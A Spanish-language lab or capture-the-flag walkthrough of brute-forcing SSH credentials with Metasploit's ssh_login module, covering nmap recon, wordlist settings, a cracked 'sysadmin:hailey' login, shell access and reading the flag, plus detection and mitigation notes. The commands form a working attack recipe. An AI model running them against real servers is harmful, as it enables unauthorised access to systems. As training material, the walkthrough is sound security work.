🔑 Ataque de Fuerza Bruta contra SSH
SSH (Secure Shell) es el protocolo estándar para administración remota segura. A pesar de su cifrado, si las credenciales son débiles, un ataque de fuerza bruta por diccionario puede descubrirlas. Metasploit incluye el módulo ssh_login para automatizar este proceso.
Los ataques de fuerza bruta generan múltiples intentos de autenticación fallidos. Son fácilmente detectables por fail2ban, logs de syslog y SIEM. Solo usar en entornos controlados con permiso.
| Parámetro | Valor de ejemplo | Descripción |
|---|---|---|
| RHOSTS | 192.245.211.3 | IP del servidor SSH objetivo |
| USER_FILE | common_users.txt | Diccionario de usuarios |
| PASS_FILE | common_passwords.txt | Diccionario de contraseñas |
| STOP_ON_SUCCESS | true | Parar al encontrar primera credencial |
| VERBOSE | true | Mostrar todos los intentos |
🔍 Fase 1 — Reconocimiento SSH
Detectar versión SSH
nmap -sS -sV 192.245.211.3
# OpenSSH 7.9p1 Ubuntu en puerto 22/TCP
Confirmar con Metasploit
msfconsole -q
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.245.211.3
exploit
# Confirma Ubuntu Linux 19.04
💥 Fase 2 — Ataque de diccionario
Fuerza bruta de credenciales SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.245.211.3
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE true
exploit
# Resultado: sysadmin:hailey
🔓 Fase 3 — Acceso y flag
Interactuar con la sesión SSH
sessions
sessions -i 1
# Shell como sysadmin
Localizar y leer la flag
find / -name "flag" 2>/dev/null
cat /flag
📋 Flujo del ataque
1
ReconocimientoEscanear y detectar versión de OpenSSH.
2
EnumeraciónConfirmar versión y SO con ssh_version.
3
Fuerza brutassh_login con diccionarios para encontrar credenciales.
4
AccesoAbrir sesión SSH como usuario válido.
5
FlagBuscar y leer la flag.
🧠 Conceptos clave
- ssh_login: Módulo Metasploit que prueba combinaciones usuario/contraseña contra SSH.
- STOP_ON_SUCCESS: Evita generar más ruido del necesario al parar en la primera credencial válida.
- fail2ban: Herramienta que bloquea IPs con demasiados intentos fallidos de autenticación.
- Mitigación: Autenticación por clave pública, deshabilitar contraseñas, cambiar puerto 22.
- SSH Keys vs Passwords: Las claves públicas son inmunes a ataques de diccionario.